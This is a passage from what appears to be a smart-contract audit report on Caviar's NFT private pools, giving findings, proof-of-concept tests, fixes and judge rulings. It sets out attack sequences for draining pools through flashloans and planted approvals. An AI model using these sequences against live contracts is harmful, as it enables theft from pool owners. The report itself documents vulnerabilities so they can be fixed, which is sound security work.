    }

Tools Used

Foundry

Consider making the upcoming pool address user specific by combining the salt value with user’s address.

    privatePool = PrivatePool(payable(privatePoolImplementation.cloneDeterministic(
        keccak256(abi.encode(msg.seender, _salt))
    )));

outdoteth (Caviar) confirmed and mitigated:

Fixed in: https://github.com/outdoteth/caviar-private-pools/pull/9

The proposed fix is to include the msg.sender in the salt of the proxy deployment:

// deploy a minimal proxy clone of the private pool implementation
bytes32 salt = keccak256(abi.encode(msg.sender, _salt));
privatePool = PrivatePool(payable(privatePoolImplementation.cloneDeterministic(salt)));

Alex the Entreprenerd (judge) commented:

This boils down to whether we think a front-run is possible / reasonable.
And whether the griefing can be considered protracted in time.

I have already judged similar issues, so I’ll link those here and share my thoughts

Alex the Entreprenerd (judge) decreased severity to Medium and commented:

Per my comments on a similar issue: #182

I believe that the DOS is possible and fairly easy to achieve, however, there are ways to sidestep it

By creating a new pool with new salts it’s possible to prevent the DOS, the NFT can then be transferred to the intended owner

For this reason am downgrading to Medium Severity.

Alex the Entreprenerd (judge) commented:

For context, if pool weren’t transferable then the DOS would have been permanent and I would have raised severity.

Status: Mitigation confirmed. Full details in reports from rbserver, KrisApostolov, and rvierdiiev.


[M-12] Prohibition to create private pools with the factory NFT

Submitted by hihen, also found by tanh

https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L157

https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L623

https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L514

Impact

Any Factory NFTs deposited into a Factory-PrivatePool can have all assets in the corresponding PrivatePools stolen by malicious users.

Proof of Concept

Suppose there are two PrivatePools p1 and p2, p1.nft = address(Factory), and uint256(p1) and uint256(p2) are deposited into p1.
Malicious users can use flashloan() to steal all the base tokens in p1 and p2:

  1. Call p1.flashloan() to borrow the Factory NFT - uint256(p1) from p1.
  2. In the flashloan callback, call p1.withdraw() to withdraw all the base tokens and the factory NFT - uint256(p2) from p1.
  3. Return uint256(p1) to p1.

Suppose there are two PrivatePools p1 and p2, p1.nft = address(Factory), and uint256(p2) is deposited into p1.
Malicious users can use flashloan() to steal all the base tokens and NFTs in p2:

  1. Call p1.flashloan() to borrow factory NFT - uint256(p2) from p1.
  2. In the flashloan callback, call p2.withdraw() to steal all the base tokens and NFTs in p2.
  3. Return uint256(p2) to p1.

In addition, malicious users can also steal assets in p2 by:

  1. p1.buy(uint256(p2))
  2. p2.withdraw(...)
  3. p1.sell(uint256(p2).

Tools Used

VS Code

To prevent users from misusing the protocol and causing financial losses, we should prohibit the creation of PrivatePools with the Factory NFT:

diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..14ec386 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -171,6 +171,8 @@ contract PrivatePool is ERC721TokenReceiver {
         // check that the fee rate is less than 50%
         if (_feeRate > 5_000) revert FeeRateTooHigh();

+        require(_nft != factory, "Unsupported NFT");
+
         // set the state variables
         baseToken = _baseToken;
         nft = _nft;

outdoteth (Caviar) confirmed and mitigated:

Fixed in: https://github.com/outdoteth/caviar-private-pools/pull/14

Proposed fix is to add a check that ensures that the nft which is used in the private pool is not a private pool NFT from the factory contract.

// check that the nft is not a private pool NFT
if (_nft == factory) revert PrivatePoolNftNotSupported();

Alex the Entreprenerd (judge) commented:

Judging severity on this finding is contingent on determining if using the factory as NFT is an external requirement or not

Will seek advice from another Judge, but saying “if they do it, they lose everything” doesn’t sound like an external requirement

Alex the Entreprenerd (judge) decreased severity to Medium and commented:

After further thinking, I believe the finding has shown a vulnerability in how the pool may be used for composability.

I believe that similar “vault like” NFTs may be subject to the same risks, there’s another audit happening at this time that may also be subject to the same risk.

Those instances would mostly be categorized as Medium Severity, because the implementations are not known.

After discussing with additional judges, given that there are a category of NFTs that should not be Flashloaned (e.g. UniV3, Factory, other factories, etc..) believe it is most appropriate to judge the finding as Medium Severity, with the additional warning that similar “vault like” NFTs should also be examined with care.

The risk doesn’t apply to ordinary collections.

Status: Mitigation confirmed with comments. Full details in reports from rbserver, KrisApostolov, and rvierdiiev.


[M-13] Transaction revert if the baseToken does not support 0 value transfer when charging changeFee

Submitted by ladboy233, also found by adriro, peanuts, jpserrat, 0xLanterns, and chaduke

https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L423

https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L651

When call change via the PrivatePool.sol, the caller needs to the pay the change fee,

	// calculate the fee amount
	(feeAmount, protocolFeeAmount) = changeFeeQuote(inputWeightSum);
}

// ~~~ Interactions ~~~ //

if (baseToken != address(0)) {
	// transfer the fee amount of base tokens from the caller
	ERC20(baseToken).safeTransferFrom(
		msg.sender,
		address(this),
		feeAmount
	);

calling changeFeeQuote(inputWeightSum)

function changeFeeQuote(
	uint256 inputAmount
) public view returns (uint256 feeAmount, uint256 protocolFeeAmount) {
	// multiply the changeFee to get the fee per NFT (4 decimals of accuracy)
	uint256 exponent = baseToken == address(0)
		? 18 - 4
		: ERC20(baseToken).decimals() - 4;
	uint256 feePerNft = changeFee * 10 ** exponent;

	feeAmount = (inputAmount * feePerNft) / 1e18;
	protocolFeeAmount =
		(feeAmount * Factory(factory).protocolFeeRate()) /
		10_000;
}

if the feeAmount is 0,

the code below would revert if the ERC20 token does not support 0 value transfer

ERC20(baseToken).safeTransferFrom(
	msg.sender,
	address(this),
	feeAmount
);

According to https://github.com/d-xo/weird-erc20#revert-on-zero-value-transfers

Some tokens (e.g. LEND) revert when transferring a zero value amount.

Same issue happens when charging the flashloan fee

    function flashLoan(
        IERC3156FlashBorrower receiver,
        address token,
        uint256 tokenId,
        bytes calldata data
    ) external payable returns (bool) {
        // check that the NFT is available for a flash loan
        if (!availableForFlashLoan(token, tokenId))
            revert NotAvailableForFlashLoan();

        // calculate the fee
        uint256 fee = flashFee(token, tokenId);

        // if base token is ETH then check that caller sent enough for the fee
        if (baseToken == address(0) && msg.value < fee)
            revert InvalidEthAmount();

        // transfer the NFT to the borrower
        ERC721(token).safeTransferFrom(
            address(this),
            address(receiver),
            tokenId
        );

        // call the borrower
        bool success = receiver.onFlashLoan(
            msg.sender,
            token,
            tokenId,
            fee,
            data
        ) == keccak256("ERC3156FlashBorrower.onFlashLoan");

        // check that flashloan was successful
        if (!success) revert FlashLoanFailed();

        // transfer the NFT from the borrower
        ERC721(token).safeTransferFrom(
            address(receiver),
            address(this),
            tokenId
        );

        // transfer the fee from the borrower
        if (baseToken != address(0))
            ERC20(baseToken).transferFrom(msg.sender, address(this), fee);

        return success;
    }

Note the code:

if (baseToken != address(0))
            ERC20(baseToken).transferFrom(msg.sender, address(this), fee);

If the fee is 0 and baseToken revert in 0 value transfer, the user cannot use flashloan.

We recommend the protocol check if the feeAmount is 0 before performing transfer.

if(feeAmount > 0) {
	ERC20(baseToken).safeTransferFrom(
		msg.sender,
		address(this),
		feeAmount
	);
}

outdoteth (Caviar) acknowledged

Alex the Entreprenerd (judge) commented:

The Warden has shown an edge case, when fee are 0 the call to safeTransfer is still performed, this can cause certain ERC20s to revert.

Because the PrivatePools are meant to work with ERC20s, and this revert is conditional on the specific token implementation, I agree with Medium Severity.


[M-14] The royaltyRecipient could not be prepare to receive ether, making the sell to fail

Submitted by 0x4non, also found by saian, Kenshin, Koolex, shaka, ladboy233, SovaSlava, and Bauer

The royaltyRecipient is an arbitrary address setup by the collection if the collection royaltyRecipient is a contract and this contract its not prepared to receive ether the ether transfer will always fail paying the royalties.

Proof of Concept

Here is a foundry POC, take note that I have to write a new Milady mock collection because in the original is hardcoded to 0xbeefbeef so its impossible to change the royaltyRecipient; Milady.sol#L31

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "test/Fixture.sol";

contract POCRejectTest is Fixture {
    PrivatePool public privatePool;
    uint256 public totalTokens = 0;
    uint256 public minOutputAmount = 0;

    uint256 royaltyFeeRate = 0.1e18; // 10%
    address royaltyRecipient = address(new EthRejecter());

    Milady2 milady2 = new Milady2();

    function setUp() public {
        milady2.setApprovalForAll(address(ethRouter), true);

        vm.mockCall(
            address(milady2),
            abi.encodeWithSelector(ERC721.ownerOf.selector, address(privatePool)),
            abi.encode(address(this))
        );

        // lets setup a trap for the royalty        
        milady2.setRoyaltyInfo(royaltyFeeRate, royaltyRecipient);

    }

    function _addSell() internal returns (EthRouter.Sell memory, uint256) {
        uint256[] memory empty = new uint256[](0);
        privatePool = factory.create{value: 100e18}(
            address(0),
            address(milady2),
            100e18,
            10e18,
            200,
            199,
            bytes32(0),
            true,
            false,
            bytes32(address(this).balance), // random between each call to _addBuy
            empty,
            100e18
        );

        uint256[] memory tokenIds = new uint256[](2);
        for (uint256 i = 0; i < 2; i++) {
            milady2.mint(address(this), i + totalTokens);
            tokenIds[i] = i + totalTokens;
        }

        totalTokens += 2;

        bytes32[][] memory publicPoolProofs = new bytes32[][](0);
        EthRouter.Sell memory sell = EthRouter.Sell({
            pool: payable(address(privatePool)),
            nft: address(milady2),
            tokenIds: tokenIds,
            tokenWeights: new uint256[](0),
            proof: PrivatePool.MerkleMultiProof(new bytes32[](0), new bool[](0)),
            stolenNftProofs: new IStolenNftOracle.Message[](0),
            isPublicPool: false,
            publicPoolProofs: publicPoolProofs
        });

        (uint256 baseTokenAmount,,) = privatePool.sellQuote(tokenIds.length * 1e18);
        return (sell, baseTokenAmount);
    }

    function test_PaysRoyalties() public {
        // arrange
        EthRouter.Sell[] memory sells = new EthRouter.Sell[](3);
        (EthRouter.Sell memory sell1, uint256 outputAmount1) = _addSell();
        (EthRouter.Sell memory sell2, uint256 outputAmount2) = _addSell();
        minOutputAmount += outputAmount1 + outputAmount2;
        sells[0] = sell1;
        sells[1] = sell2;
        Pair pair = caviar.create(address(milady2), address(0), bytes32(0));
        deal(address(pair), 1.123e18);
        deal(address(pair), address(pair), 10e18);

        uint256[] memory tokenIds = new uint256[](2);
        for (uint256 i = 0; i < tokenIds.length; i++) {
            tokenIds[i] = i + totalTokens;
            milady2.mint(address(this), i + totalTokens);
        }
        sells[2] = EthRouter.Sell({
            pool: payable(address(pair)),
            nft: address(milady2),
            tokenIds: tokenIds,
            tokenWeights: new uint256[](0),
            proof: PrivatePool.MerkleMultiProof(new bytes32[](0), new bool[](0)),
            stolenNftProofs: new IStolenNftOracle.Message[](0),
            isPublicPool: true,
            publicPoolProofs: new bytes32[][](0)
        });

        uint256 outputAmount = pair.sellQuote(tokenIds.length * 1e18);

        uint256 royaltyFee = outputAmount / tokenIds.length * royaltyFeeRate / 1e18 * tokenIds.length;
        outputAmount -= royaltyFee;
        minOutputAmount += outputAmount;

        // act
        ethRouter.sell(sells, minOutputAmount, 0, true);

        // assert
        assertEq(address(royaltyRecipient).balance, royaltyFee, "Should have paid royalties");
        assertGt(address(royaltyRecipient).balance, 0, "Should have paid royalties");
    }
}

contract EthRejecter {
    // The contract could not have a method called "receive" or "fallback", i added here
    // to show the concept of a contract that rejects ETH
    receive() external payable {
        revert("ETH REJECTED EXAMPLE");
    }
}

contract Milady2 is ERC721, ERC2981 {
    uint256 public royaltyFeeRate = 0; // to 18 decimals
    address public royaltyRecipient = address(0);

    constructor() ERC721("Milady Maker", "MIL") {}

    function tokenURI(uint256) public view virtual override returns (string memory) {
        return "https://milady.io";
    }

    function mint(address to, uint256 id) public {
        _mint(to, id);
    }

    function setRoyaltyInfo(uint256 _royaltyFeeRate, address _royaltyRecipient) public {
        royaltyFeeRate = _royaltyFeeRate;
        royaltyRecipient = _royaltyRecipient;
    }

    function supportsInterface(bytes4 interfaceId) public view override(ERC2981, ERC721) returns (bool) {
        return super.supportsInterface(interfaceId);
    }

    function royaltyInfo(uint256, uint256 salePrice) public view override returns (address, uint256) {
        return (royaltyRecipient, salePrice * royaltyFeeRate / 1e18);
    }
}

There are two simple ways from my point of view to force ether send and solve this issue;

You could use a simple contract that selfdestrcut an firce ether, but selfdestruct is deprecated so it’s not a good idea, please view solady/SafeTransferLib.sol#L65

The other thing you could do is if an address is rejecting ether, send WETH instead, this pattern is common and well known.

outdoteth (Caviar) acknowledged via duplicate issue #713


[M-15] Pool tokens can be stolen via PrivatePool.flashLoan function from previous owner

Submitted by Brenzee, also found by ulqiorra and ladboy233

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L461

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L623-L654

PrivatePool.sol ERC721 and ERC20 tokens can be stolen by the previous owner via execute and flashLoan functions (or by malicious approval by the current owner via execute)

Proof of Concept

Let’s say that Bob is the attacker and Alice is a regular user.

  1. Bob creates a PrivatePool.sol where he deposits 5 ERC721 tokens and 500 USDC.
  2. Then Bob creates a malicious contract (let’s call it PrivatePoolExploit.sol) and this contract contains onFlashLoan (IERC3156FlashBorrower), transferFromownerOf, onERC721Received functions (like ERC721 does) and an additional attack function.
  3. Via PrivatePool.execute function Bob approves USDC spending (type(uint).max) and setApprovalForAll for ERC721 tokens
  4. Since the ownership of PrivatePool is stored in Factory.sol as an ERC721 token, ownership can be sold on any ERC721 marketplace. Alice decides to buy Bob’s PrivatePool and ownership is transferred to Alice.
  5. Right after the ownership is transferred, Bob runs PrivatePoolExploit.attack function, which calls PrivatePool.flashLoan where PrivatePoolExploit.transferFrom will be called since the flash loan can be called on any address.
  6. All the funds are stolen by Bob and Alice’s PrivatePool is left with nothing.

See warden’s original submission for full POC.

Tools Used

Foundry/VSCode

The contract caller should not be able to choose the token address in the PrivatePool.flashLoan function because there is no way to know if the token contract is actually an ERC721 contract.

Suggest removing token from function input parameters and using nft token everywhere, where token was used.

    function flashLoan(IERC3156FlashBorrower receiver, uint256 tokenId, bytes calldata data)
        external
        payable
        returns (bool)
    {
        address nftAddress = nft;
        // check that the NFT is available for a flash loan
        if (!availableForFlashLoan(nftAddress, tokenId)) revert NotAvailableForFlashLoan();

        // calculate the fee
        uint256 fee = flashFee(nftAddress, tokenId);

        // if base token is ETH then check that caller sent enough for the fee
        if (baseToken == address(0) && msg.value < fee) revert InvalidEthAmount();

        // transfer the NFT to the borrower
        ERC721(nftAddress).safeTransferFrom(address(this), address(receiver), tokenId);

        // call the borrower
        bool success =
            receiver.onFlashLoan(msg.sender, nftAddress, tokenId, fee, data) == keccak256("ERC3156FlashBorrower.onFlashLoan");

        // check that flashloan was successful
        if (!success) revert FlashLoanFailed();

        // transfer the NFT from the borrower
        ERC721(nftAddress).safeTransferFrom(address(receiver), address(this), tokenId);

        // transfer the fee from the borrower
        if (baseToken != address(0)) ERC20(baseToken).transferFrom(msg.sender, address(this), fee);

        return success;
    }

outdoteth (Caviar) confirmed, but disagreed with severity and commented:

I think a potential fix is to prevent execute() from being able to call the baseToken the nft that is associated with the contract, which would stop the malicious approvals.

outdoteth (Caviar) mitigated:

Fixed in: https://github.com/outdoteth/caviar-private-pools/pull/2

Proposed fix is to add a check in the execute() function that will revert if the target contract is the baseToken or nft.

if (target == address(baseToken) || target == address(nft)) revert InvalidTarget();

Alex the Entreprenerd (judge) decreased severity to Medium and commented:

The Warden has shown how, due to composability, it’s possible for the previous owner to set the PrivatePool to grant approvals for all it’s tokens, in a way that will allow the previous owner to steal them back.

There are many considerations to this:

  • Would a reasonable buyer check for previous approvals?
  • Would a more reasonable approach be to buy the NFTs and create their own Pool?

Nonetheless the Approval Farming can be performed and the attack can be done in that way, however the buyer would have to buy a Pool for which the approvals have been setup and they would have to do so without revoking them (they could buy and revoke in the same tx).

Because of this, I belive that the finding is valid but of Medium Severity.

Status: Mitigation confirmed with comments. Full details in reports from rbserver, KrisApostolov, and rvierdiiev.


[M-16] PrivatePool.flashLoan() takes fee from the wrong address

Submitted by Ruhum

Instead of taking the fee from the receiver of the flashloan callback, it pulls it from msg.sender.

As specified in EIP-3156:

“After the callback, the flashLoan function MUST take the amount + fee token from the receiver, or revert if this is not successful.”

This will be an unexpected loss of funds for the caller if they have the pool pre-approved to spend funds (e.g. they previously bought NFTs) and are not the owner of the flashloan contract they use for the callback.

Additionally, for ETH pools, it expects the caller to pay the fee upfront. But, the fee is generally paid with the profits made using the flashloaned tokens.

Proof of Concept

If baseToken is ETH, it expects the fee to already be sent with the call to flashLoan(). If it’s an ERC20 token, it will pull it from msg.sender instead of receiver:

    function flashLoan(IERC3156FlashBorrower receiver, address token, uint256 tokenId, bytes calldata data)
        external
        payable
        returns (bool)
    {
        // ...

        // calculate the fee
        uint256 fee = flashFee(token, tokenId);

        // if base token is ETH then check that caller sent enough for the fee
        if (baseToken == address(0) && msg.value < fee) revert InvalidEthAmount();
        
        // ...

        // transfer the fee from the borrower
        if (baseToken != address(0)) ERC20(baseToken).transferFrom(msg.sender, address(this), fee);

        return success;
    }

Change to:

        uint initialBalance = address(this).balance;
        // ... 

        if (baseToken != address(0)) ERC20(baseToken).transferFrom(receiver, address(this), fee);
        else require(address(this).balance - initialBalance == fee);

outdoteth (Caviar) acknowledged

Alex the Entreprenerd (judge) commented:

I have considered downgrading to QA for the ETH aspect as technically there is no EIP for ETH flashloans (FL EIP is only for ERC20s).

That said, the way payment is pulled in ERC20s is breaking the spec, and for this reason am awarding Medium Severity.


[M-17] The tokenURI method does not check if the NFT has been minted and returns data for the contract that may be a fake NFT

Submitted by Haipls, also found by Rolezn and 0xSmartContract

https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/Factory.sol#L161

https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePoolMetadata.sol#L17

Impact

  • By invoking the Factory.tokenURI method for a maliciously provided NFT id, the returned data may deceive potential users, as the method will return data for a non-existent NFT id that appears to be a genuine PrivatePool. This can lead to a poor user experience or financial loss for users.
  • Violation of the ERC721-Metadata part standard

Proof of Concept

Example

  1. User creates a fake contract
    A simple example so that the tokenURI method does not revert:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

contract NFT {
    function balanceOf(address) external pure returns (uint256) {
        1;
    }
}

contract NonNFT {
    address public immutable nft;

    address public constant baseToken = address(0);
    uint256 public constant virtualBaseTokenReserves = 1 ether;
    uint256 public constant virtualNftReserves = 1 ether;
    uint256 public constant feeRate = 500;

    constructor() {
        nft = address(new NFT());
    }
}
  1. User deploy the contract
  2. Now, by using tokenURI() for the deployed user’s address, one can fetch information about a non-existent NFT.

Tools Used

  • Manual review
  • Foundry
  • Throw an error if the NFT id is invalid.

outdoteth (Caviar) confirmed and commented:

Not sure if this should be medium or not.

Alex the Entreprenerd (judge) commented:

https://eips.ethereum.org/EIPS/eip-721#:~:text=function%20tokenURI(uint256%20_tokenId)%20external%20view%20returns%20(string)%3B

Alex the Entreprenerd (judge) commented:

Because the functionality breaks the EIP721 spec, I agree with Medium Severity, no funds are at risk.

outdoteth (Caviar) mitigated:

Fixed in: https://github.com/outdoteth/caviar-private-pools/pull/19.

Status: Mitigation confirmed. Full details in reports from rbserver, KrisApostolov, and rvierdiiev.


Low Risk and Non-Critical Issues

For this audit, 20 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by AkshaySrivastav received the top score from the judge.

The following wardens also submitted reports: ulqiorra, rbserver, adriro, minhtrng, nemveer, devscrooge, 0x5rings, 0xbepresent, ABA, Bauchibred, BenRai, btk, DadeKuma, ElKu, dingo2077, Rolezn, p0wd3r, chaduke, and RaymondFam.

[1] The Factory.create function is susceptible to re-entrancy as it performs a _safeMint before initializing the pool.

```solidity
function create(
    ...
) public payable returns (PrivatePool privatePool) {
    // ...
    privatePool = PrivatePool(payable(privatePoolImplementation.cloneDeterministic(_salt)));

    // mint the nft to the caller
    _safeMint(msg.sender, uint256(uint160(address(privatePool))));

    // initialize the pool
    privatePool.initialize(...);
    // ...
}
```

[2] The Factory.create function performs plain transfer of funds instead of calling the deposit function. This way the Deposit event is not emitted.

```solidity
function create(
    ...
) public payable returns (PrivatePool privatePool) {
    // ...
    privatePool.initialize(...);
    
    if (_baseToken == address(0)) {
        // transfer eth into the pool if base token is ETH
        address(privatePool).safeTransferETH(baseTokenAmount);
    } else {
        // deposit the base tokens from the caller into the pool
        ERC20(_baseToken).transferFrom(msg.sender, address(privatePool), baseTokenAmount);
    }

    // deposit the nfts from the caller into the pool
    for (uint256 i = 0; i < tokenIds.length; i++) {
        ERC721(_nft).safeTransferFrom(msg.sender, address(privatePool), tokenIds[i]);
    }

    // emit create event
    emit Create(address(privatePool), tokenIds, baseTokenAmount);
}
```

[3] There is no fee cap on the Factory.setProtocolFeeRate function. A value greater then 10000 can break the fee calculations in private pool. Consider validating that the input is less than 10000.

```solidity
function setProtocolFeeRate(uint16 _protocolFeeRate) public onlyOwner {
    protocolFeeRate = _protocolFeeRate;
}
```

[4] Factory.tokenId does not validate the input id parameter. Consider validating that the id exist and the respective pool is created by the factory.

```solidity
function tokenURI(uint256 id) public view override returns (string memory) {
    return PrivatePoolMetadata(privatePoolMetadata).tokenURI(id);
}
```

[5] Once initialization is done the PrivatePool.feeRate variable can never be changed. Consider adding an owner restricted function to update feeRate.

[6] In buy and sell functions consider validating that the length of all input arrays are equal (tokenIds & tokenWeights).

[7] Consider adding a check in PrivatePool.sumWeightsAndValidateProof function to validate that every element of tokenWeights array is greater than or equal to 1e18.

```solidity
function sumWeightsAndValidateProof(
    uint256[] memory tokenIds,
    uint256[] memory tokenWeights,
    MerkleMultiProof memory proof
) public view returns (uint256) {
    // ...
    for (uint256 i = 0; i < tokenIds.length; i++) {
        require(tokenWeights[i] >= 1e18);       <------------
        // create the leaf for the merkle proof
        leafs[i] = keccak256(bytes.concat(keccak256(abi.encode(tokenIds[i], tokenWeights[i]))));

        // sum each token weight
        sum += tokenWeights[i];
    }
    // ...
}
```

[8] In the PrivatePoolMetadata.tokenURI function consider using Strings.toHexString(address(tokenId))) for the name field.

```solidity
function tokenURI(uint256 tokenId) public view returns (string memory) {
    // forgefmt: disable-next-item
    bytes memory metadata = abi.encodePacked(
        "{",
            '"name": "Private Pool ',Strings.toString(tokenId),'",',
            '"description": "Caviar private pool AMM position.",',
            '"image": ','"data:image/svg+xml;base64,', Base64.encode(svg(tokenId)),'",',
            '"attributes": [',
                attributes(tokenId),
            "]",
        "}"
    );

    return string(abi.encodePacked("data:application/json;base64,", Base64.encode(metadata)));
}
```

Alex the Entreprenerd (judge) commented:

1. The Factory.create function is susceptible to re-entrancy as it performs a _safeMint before initializing the pool.
Low

2. The Factory.create function performs plain transfer of funds instead of calling the deposit function. This way the Deposit event is not emitted.
Refactor

3. There is no fee cap on the Factory.setProtocolFeeRate function. A value greater then 10000 can break the fee calculations in private pool. Consider validating that the input is less than 10000.
Low

4. Factory.tokenId does not validate the input id parameter. Consider validating that the id exist and the respective pool is created by the factory.
Low

5. Once initialization is done the PrivatePool.feeRate variable can never be changed. Consider adding an owner restricted function to update feeRate.
Refactor

6. In buy and sell functions consider validating that the length of all input arrays are equal (tokenIds & tokenWeights).
Refactor

7. Consider adding a check in PrivatePool.sumWeightsAndValidateProof function to validate that every element of tokenWeights array is greater than or equal to 1e18.
Low

8. In the PrivatePoolMetadata.tokenURI function consider using Strings.toHexString(address(tokenId))) for the name field.
Non-Critical

Alex the Entreprenerd (judge) commented:

4 low, 3 refactor, and 1 non-critical.

Also includes 6 lows from downgraded findings (issues 396, 392, 387, 382, 381, and 719).

Alex the Entreprenerd (judge) commented:

Awarding best due to consistent high quality.


Gas Optimizations

For this audit, 6 reports were submitted by wardens detailing gas optimizations. The report highlighted below by JCN received the top score from the judge.

The following wardens also submitted reports: hunter_w3b, adriro, matrix_0wl, ReyAdmirado, and Sathish9098.

Summary

A majority of the optimizations were benchmarked via the protocol’s tests, i.e. using the following config: solc version 0.8.19, optimizer on, and 200 runs. Optimizations that were not benchmarked are explained via EVM gas costs and opcodes.

Below are the overall average gas savings for the following tested functions (with all the optimizations applied): | Function | Before | After | Avg Gas Savings | | ------ | -------- | -------- | ------- | | EthRouter.buy | 199750 | 190464 | 9286 | | EthRouter.change | 217295 | 202568 | 14727 |
| EthRouter.deposit | 29900 | 29393 | 507 | | EthRouter.sell | 232102 | 223981 | 8121 | | Factory.create | 148801 | 148672 | 129 | | PrivatePool.buy | 70884 | 69821 | 1063 | | PrivatePool.change | 82138 | 78083 | 4055 | | PrivatePool.execute | 18890 | 18550 | 340 | | PrivatePool.flashLoan | 83063 | 82915 | 148 | | PrivatePool.sell | 81969 | 81284 | 685 | | PrivatePool.withdraw | 62023 | 61038 | 985 |

Total gas saved across all listed functions: 40046

Notes:

  • The Gas reportoutput, after all optimizations have been applied, can be found at the end of the report.
  • The final diffs for each contract, with all the optimizations applied, can be found here.
  • Some code snippets may be truncated to save space. Code snippets may also be accompanied by @audit tags in comments to aid in explaining the issue.

Gas Optimizations

Number Issue Instances
[G-01] Cache calldata/memory pointers for complex types to avoid offset calculations 52
[G-02] Use calldata instead of memory for function arguments that do not get mutated 4
[G-03] State variables can be cached instead of re-reading them from storage 16
[G-04] Cache state variables outside of loop to avoid reading storage on every iteration 6
[G-05] Rearrange code to fail early 1
[G-06] x += y/x -= y costs more gas than x = x + y/x = x - y for state variables 2
[G-07] If statements that use && can be refactored into nested if statements 9
[G-08] Use assembly for loops 11

[G-01] Cache calldata/memory pointers for complex types to avoid offset calculations

The function parameters in the following instances are complex types (arrays of structs which contain arrays) and thus will result in more complex offset calculations to retrieve specific data from calldata/memory. We can avoid peforming some of these offset calculations by instantiating calldata/memory pointers.

Total Instances: 52

https://github.com/code-423n4/2023-04-caviar/blob/main/src/EthRouter.sol#L106-L138

Cache calldata pointers for buys[i] and buys[i].tokenIds

Gas Savings for EthRouter.buy, obtained via protocol’s tests: Avg 5987 gas

Med Max Avg # calls
Before 187054 397581 199750 7
After 182524 381578 193763 7
File: src/EthRouter.sol
106:        for (uint256 i = 0; i < buys.length; i++) {
107:            if (buys[i].isPublicPool) {
108:                // execute the buy against a public pool
109:                uint256 inputAmount = Pair(buys[i].pool).nftBuy{value: buys[i].baseTokenAmount}(
110:                    buys[i].tokenIds, buys[i].baseTokenAmount, 0
111:                );
112:
113:                // pay the royalties if buyer has opted-in
114:                if (payRoyalties) {
115:                    uint256 salePrice = inputAmount / buys[i].tokenIds.length;
116:                    for (uint256 j = 0; j < buys[i].tokenIds.length; j++) {
117:                        // get the royalty fee and recipient
118:                        (uint256 royaltyFee, address royaltyRecipient) =
119:                            getRoyalty(buys[i].nft, buys[i].tokenIds[j], salePrice);
120:
121:                        if (royaltyFee > 0) {
122:                            // transfer the royalty fee to the royalty recipient
123:                            royaltyRecipient.safeTransferETH(royaltyFee);
124:                        }
125:                    }
126:                }
127:            } else {
128:                // execute the buy against a private pool
129:                PrivatePool(buys[i].pool).buy{value: buys[i].baseTokenAmount}(
130:                    buys[i].tokenIds, buys[i].tokenWeights, buys[i].proof
131:                );
132:            }
133:
134:            for (uint256 j = 0; j < buys[i].tokenIds.length; j++) {
135:                // transfer the NFT to the caller
136:                ERC721(buys[i].nft).safeTransferFrom(address(this), msg.sender, buys[i].tokenIds[j]);
137:            }
138:        }
diff --git a/src/EthRouter.sol b/src/EthRouter.sol
index 125001d..1ed1c17 100644
--- a/src/EthRouter.sol
+++ b/src/EthRouter.sol
@@ -104,19 +104,21 @@ contract EthRouter is ERC721TokenReceiver {

         // loop through and execute the the buys
         for (uint256 i = 0; i < buys.length; i++) {
-            if (buys[i].isPublicPool) {
+            Buy calldata _buy = buys[i];
+            uint256[] calldata _tokenIds = _buy.tokenIds;
+            if (_buy.isPublicPool) {
                 // execute the buy against a public pool
-                uint256 inputAmount = Pair(buys[i].pool).nftBuy{value: buys[i].baseTokenAmount}(
-                    buys[i].tokenIds, buys[i].baseTokenAmount, 0
+                uint256 inputAmount = Pair(_buy.pool).nftBuy{value: _buy.baseTokenAmount}(
+                    _tokenIds, _buy.baseTokenAmount, 0
                 );

                 // pay the royalties if buyer has opted-in
                 if (payRoyalties) {
-                    uint256 salePrice = inputAmount / buys[i].tokenIds.length;
-                    for (uint256 j = 0; j < buys[i].tokenIds.length; j++) {
+                    uint256 salePrice = inputAmount / _tokenIds.length;
+                    for (uint256 j = 0; j < _tokenIds.length; j++) {
                         // get the royalty fee and recipient
                         (uint256 royaltyFee, address royaltyRecipient) =
-                            getRoyalty(buys[i].nft, buys[i].tokenIds[j], salePrice);
+                            getRoyalty(_buy.nft, _tokenIds[j], salePrice);

                         if (royaltyFee > 0) {
                             // transfer the royalty fee to the royalty recipient
@@ -126,14 +128,14 @@ contract EthRouter is ERC721TokenReceiver {
                 }
             } else {
                 // execute the buy against a private pool
-                PrivatePool(buys[i].pool).buy{value: buys[i].baseTokenAmount}(
-                    buys[i].tokenIds, buys[i].tokenWeights, buys[i].proof
+                PrivatePool(_buy.pool).buy{value: _buy.baseTokenAmount}(
+                    _tokenIds, _buy.tokenWeights, _buy.proof
                 );
             }

-            for (uint256 j = 0; j < buys[i].tokenIds.length; j++) {
+            for (uint256 j = 0; j < _tokenIds.length; j++) {
                 // transfer the NFT to the caller
-                ERC721(buys[i].nft).safeTransferFrom(address(this), msg.sender, buys[i].tokenIds[j]);
+                ERC721(_buy.nft).safeTransferFrom(address(this), msg.sender, _tokenIds[j]);
             }
         }

https://github.com/code-423n4/2023-04-caviar/blob/main/src/EthRouter.sol#L159-L200

Cache calldata pointers for sells[i] and sells[i].tokenIds

Gas Savings for EthRouter.sell, obtained via protocol’s tests: Avg 5422 gas

Med Max Avg # calls
Before 217300 402940 232102 7
After 212264 392556 226680 7
File: src/EthRouter.sol
